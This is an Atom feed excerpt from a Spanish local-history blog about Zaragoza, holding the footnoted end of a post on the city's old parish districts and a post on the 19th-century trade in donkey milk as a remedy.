&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBSKgIEKMyjVX078LiVXDA3rREkLgpaNXjAdyyTTaN9iLpj7GmiSXPE0scFWdWEEO7Iv0nOVRWBwtIoCDJqp5_lKYKkL0RD387_S-qEWZlBXC66IsJ1e8NfZwtOEaptBZE0EaorAEmTv-3/s1600/San-Pablo.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1311&quot; data-original-width=&quot;1576&quot; height=&quot;266&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBSKgIEKMyjVX078LiVXDA3rREkLgpaNXjAdyyTTaN9iLpj7GmiSXPE0scFWdWEEO7Iv0nOVRWBwtIoCDJqp5_lKYKkL0RD387_S-qEWZlBXC66IsJ1e8NfZwtOEaptBZE0EaorAEmTv-3/s320/San-Pablo.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;A comienzos del s. XIX, con la
Guerra de la Independencia (Sitios de Zaragoza, 1808-1809) la ciudad sufrió
grandes destrozos, pero siguió manteniéndose en los límites de lo que fue la
ciudad medieval y los barrios siguieron denominándose como parroquias. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Popularmente se les llamó así a
lo largo de todo ese siglo, y para saber en qué sector de la población vivía un
ciudadano se le preguntaba de qué parroquia era. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;En 1901, todavía Ximénez de Embún&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;9&lt;/sup&gt;&lt;/b&gt;, cronista de la ciudad, denomina
&lt;b&gt;“Parroquia de San Pablo”&lt;/b&gt; al barrio de ese nombre, también conocida como
“Parroquia del Gancho”, pero esa es una historia para otra ocasión.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-normal;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span style=&quot;font-size: x-normal;&quot;&gt;Rosa María Germán&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: solid windowtext 1.5pt; border: none; mso-element: para-border-div; padding: 0cm 0cm 1pt;&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;border: none; mso-border-bottom-alt: solid windowtext 1.5pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm; padding: 0cm; text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;1.-&lt;span style=&quot;font-size: xx-normal; mso-spacerun: yes;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;b&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Privilegio de los Veinte&lt;/i&gt;&lt;/b&gt;:
Asamblea formada por 20 hombres elegidos por los ciudadanos con el fin de proteger
sus derechos.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;Vease&lt;/span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;a href=&quot;http://www.enciclopedia-aragonesa.com/voz.asp?voz_id=10429&amp;amp;voz_id_origen=13412&quot;&gt;http://www.enciclopedia-aragonesa.com/voz.asp?voz_id=10429&amp;amp;voz_id_origen=13412&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;2.-&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;b&gt;Concejo&lt;/b&gt;: Del latín &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;concilium&lt;/i&gt;, reunión o asamblea. Asamblea ciudadana para el gobierno
de la ciudad &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;3.- &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Jurado&lt;/i&gt;:
Su nombre deriva del juramento que debían hacer antes de ejercer su cargo. Eran
más o menos equivalentes a los concejales, cuyo nombre deriva de concejo.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;4.-&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;
&lt;/span&gt;&lt;b&gt;Zalmedina&lt;/b&gt;: La palabra deriva del árabe (sahib al-madina), el jefe de la
ciudad. Presidía el concejo y equivalía al alcalde. El cargo desapareció en
1707, con la&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;derogación de los Fueros de
Aragón por Felipe V de Borbón. Equivalía más o menos a alcalde.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;5.-
&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;Ledesma M.L. y Falcón, M.I.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;(1982) &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Zaragoza
en la Baja Edad Media&lt;/i&gt;. Librería General. Pág. 86 y ss.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;6.- &lt;b&gt;Insaculación&lt;/b&gt;: (lat. in y sacculum,
saquito) Proceso para la elección de cargos anuales elegidos mediante la&amp;nbsp;extracción
al azar de bolas en las que figuraban los nombres de los aspirantes. decreto de
Nueva planta (1716) se abolió el régimen de insaculación.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;7.- Se puede consultar en Internet:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href=&quot;https://www.blogger.com/goog_1207569835&quot;&gt;
&lt;/a&gt;&lt;/span&gt;&lt;a href=&quot;http://www.enciclopedia-aragonesa.com/voz.asp?voz_id=6630&quot;&gt;http://www.enciclopedia-aragonesa.com/voz.asp?voz_id=6630&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;a href=&quot;https://es.wikipedia.org/wiki/Guerra_de_sucesi%C3%B3n_espa%C3%B1ola&quot;&gt;https://es.wikipedia.org/wiki/Guerra_de_sucesi%C3%B3n_espa%C3%B1ola&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;8.- &lt;/span&gt;Blasco, R. (1977) Zaragoza en el siglo XVIII. Librería General. Pág 29&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;9.- &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;Ximénez de Embún y Val, T. (1901) &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Descripción histórica de la antigua Zaragoza.&lt;/i&gt;
Librería de C. Gasca Zaragoza&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/7828013983857031071/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2019/11/los-barrios-o-parroquias-de-la-antigua.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/7828013983857031071'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/7828013983857031071'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2019/11/los-barrios-o-parroquias-de-la-antigua.html' title='Los barrios o parroquias de la antigua Zaragoza'/><author><name>Rosa</name><uri>http://www.blogger.com/profile/08409146523301149560</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo_rAqU3AqDSPKGBDSvDxPfvRUoRcKeGCsCmtl_stIUJCk907lIPEY-x_oT3mb_XvDQbd1b74JEyqP6n9aIYtRPA95UTyamcqU91AsRqeXf6-_1oXgYc37vAtgqAvt-a8aUoxwkSPnCCCI/s72-c/La-Magdalena+2.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-137295537591663552</id><published>2019-10-24T00:08:00.004+02:00</published><updated>2020-11-07T19:40:41.066+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="TRADICIONES"/><title type='text'>Leche de Burra</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;&lt;b&gt;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;¿Sabías que.. se vendía leche de burra en Zaragoza a cuatro reales el cuartillo?&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrCfDru-C-Pf0_rJj7xD5jIpPlibWoGwA3398-BuhlJZa8FETAj7pg3WnquLTDeZ-Q-MM9v9n6rbfW0scXtOLvDNr3F-uTKguHXizfvcOE72pp-vwmlOh6nDFi3q3larLO2eTX4Tyl7Ao/s1600/7858286586_c72251579c_b.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;632&quot; data-original-width=&quot;738&quot; height=&quot;273&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrCfDru-C-Pf0_rJj7xD5jIpPlibWoGwA3398-BuhlJZa8FETAj7pg3WnquLTDeZ-Q-MM9v9n6rbfW0scXtOLvDNr3F-uTKguHXizfvcOE72pp-vwmlOh6nDFi3q3larLO2eTX4Tyl7Ao/s320/7858286586_c72251579c_b.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 150%; margin: 0px 0px 13.33px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; margin: 0px;&quot;&gt;¡Quién podría creer que se vendiera en Zaragoza leche de
burra recién ordeñada! Si consultamos la &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“Guía
de Zaragoza ó sea breve noticia de las antigüedades, establecimientos &lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;públicos, oficinas y edificios que contiene” &lt;/i&gt;&lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;de 1860 encontramos la curiosa noticia de que
“&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;esta industria se ha desarrollado
ostensiblemente en esta ciudad, en el espacio de muy pocos años&lt;/i&gt;”.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 150%; margin: 0px 0px 13.33px; text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 150%; margin: 0px 0px 13.33px; text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; margin: 0px;&quot;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 150%; margin: 0px 0px 13.33px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; margin: 0px;&quot;&gt;La guía nos da cuenta también de la proliferación de los establecimientos
donde se dispensaba esta leche como remedio medicinal, hasta el punto de “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;que casi puede decirse que hay uno en cada
calle”.&lt;/i&gt; Pero, tal vez, lo que más sorprende es que también se sirviera a
domicilio llevando a los animales hasta la puerta de la casa del enfermo y se
ordeñaran en presencia del comprador (la leche se estropea con facilidad). &lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 150%; margin: 0px 0px 13.33px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; margin: 0px;&quot;&gt;En esta época la leche de burra se generalizó en muchas
ciudades de España como remedio medicinal para varias dolencias como
tuberculosis, tos ferina, sarampión, anemia, raquitismo, embriaguez, otitis y
hasta para quitar la tartamudez. Era común que las farmacias dispensaran la
leche de burra en sus establecimientos o bien llevándola al domicilio del
enfermo que lo solicitara. Esta práctica se puede seguir a través de los
anuncios de los periódicos, donde se ve el precio por cuartillo y la rebaja
incluida en el &lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;abono para clientes
habituales. En Madrid, por ejemplo, se decía que no era necesario el reloj
porque el paso de la burras marcaba la hora. Efectivamente, la leche no se
distribuía arbitrariamente, sino a primeras horas de la mañana o a últimas de
la tarde con el fin de tomar un vaso en ayunas o antes de dormir. &lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 150%; margin: 0px 0px 13.33px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; margin: 0px;&quot;&gt;Pero ¿por qué es bueno el consumo de leche de burra frente
a otras leches? &lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKAUorT2BnkNEvBah4RdUDLtLbf4bCUbbFz43AqSY2cSUOuwZyvTMRyGDCKrPdhva7-9uqaS-TZLLTL4bAkguAXS15g9Hlbijz_cqFKB3nAkwwZRXy-flebS6EYcrsakBUmcbcaae2VUTa/s1600/donkeys-218069_960_720.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;720&quot; data-original-width=&quot;960&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKAUorT2BnkNEvBah4RdUDLtLbf4bCUbbFz43AqSY2cSUOuwZyvTMRyGDCKrPdhva7-9uqaS-TZLLTL4bAkguAXS15g9Hlbijz_cqFKB3nAkwwZRXy-flebS6EYcrsakBUmcbcaae2VUTa/s320/donkeys-218069_960_720.jpg&quot; width=&quot;320&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Parece ser que en su composición existen algunos anticuerpos
que refuerzan el sistema inmunológico de las personas debilitadas y que además
presenta grandes cantidades de vitamina C, B12, A, E, y hierro entre otros.
También la hace ideal para ancianos y niños por su semejanza con la leche de
mujer, aunque la de burra es más rica en calcio y fósforo y tiene menos grasa. Así
quedó demostrado con la experiencia del Dr. &lt;strong&gt;&lt;span style=&quot;border: 1pt; font-size: 12pt; line-height: 150%; margin: 0px; padding: 0cm;&quot;&gt;Joseph
Marie Jules Parrot&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-size: 12pt; line-height: 150%; margin: 0px;&quot;&gt;, pediatra francés, que a principios&lt;/span&gt;&lt;span style=&quot;font-size: 12pt; line-height: 150%; margin: 0px;&quot;&gt; del
siglo XIX en París, propuso amamantar a los niños sifilíticos abandonados en
los h&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 150%; margin: 0px;&quot;&gt;ospicios directamente de la ubre de la burra, pues las nodrizas podrían
contraer la enfermedad al estar en contacto directo con los niños (la
enfermera, sentada, ponía al niño en sus rodillas y, sujetándole la cabeza, lo
acercaba al animal para que mamara).La supervivencia de estas pobres criaturas
fue mayor que la de los alimentados por otros medios. &lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;line-height: 150%; margin: 0px 0px 13.33px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 150%; margin: 0px;&quot;&gt;Las
bondades de la leche de burra no son algo novedoso, se conocen desde la más
remota antigüedad. Se pueden encontrar ejemplos en la “Historia Natural” de
Plinio que la recomienda para las arrugas de la cara, las úlceras de estómago,
etc. y en Plutarco y Apiano que nos hablan del uso cosmético de la leche de
burra que hacía Cleopatra.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyZ0B2UcHeFJx6wgRaxPNX3jdwAlhkQM0ewd3y_iagc4MGpLisecJcRtL33c-OUMhGqf-juHWHHOiC1mKMKlEHog3VUN-YY4yqcVYU9nfnjKmRCch7DX6sqPoYgQBWY0N959q1QAHem0Mx/s1600/Frederick_Arthur_Bridgman_-_Cleopatra_on_the_Terraces_of_Philae.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;573&quot; data-original-width=&quot;795&quot; height=&quot;230&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyZ0B2UcHeFJx6wgRaxPNX3jdwAlhkQM0ewd3y_iagc4MGpLisecJcRtL33c-OUMhGqf-juHWHHOiC1mKMKlEHog3VUN-YY4yqcVYU9nfnjKmRCch7DX6sqPoYgQBWY0N959q1QAHem0Mx/s320/Frederick_Arthur_Bridgman_-_Cleopatra_on_the_Terraces_of_Philae.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Pero no fue la única, ya que también se decía que
Popea, la esposa de Nerón, la había puesto de moda entre las damas de Roma y
mucho más tarde, la hermana de Napoleón, Pauline Bonaparte, también la
introdujo en las costumbres de la aristocracia francesa. &lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; margin: 0px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;line-height: 150%; margin: 0px 0px 13.33px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; margin: 0px;&quot;&gt;Así pues, con altos y bajos, el uso de la leche de burra
llegó hasta los años setenta del siglo XX, cuando cayó en desuso, supongo que
por razones&lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp; &lt;/span&gt;sanitarias. No obstante, me
ha sorprendido encontrar muchos anuncios en internet recuperando la leche de
burra en cosméticos, jabones, cremas e incluso en polvo para uso alimentario,
de esta manera se conserva también esta especie que tanto ha colaborado en la
evolución humana.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 150%; margin: 0px 0px 13.33px; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 150%; margin: 0px 0px 13.33px; text-align: right;&quot;&gt;
María José Germán&lt;/div&gt;
&lt;div style=&quot;line-height: 150%; margin: 0px 0px 13.33px; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;/div&gt;
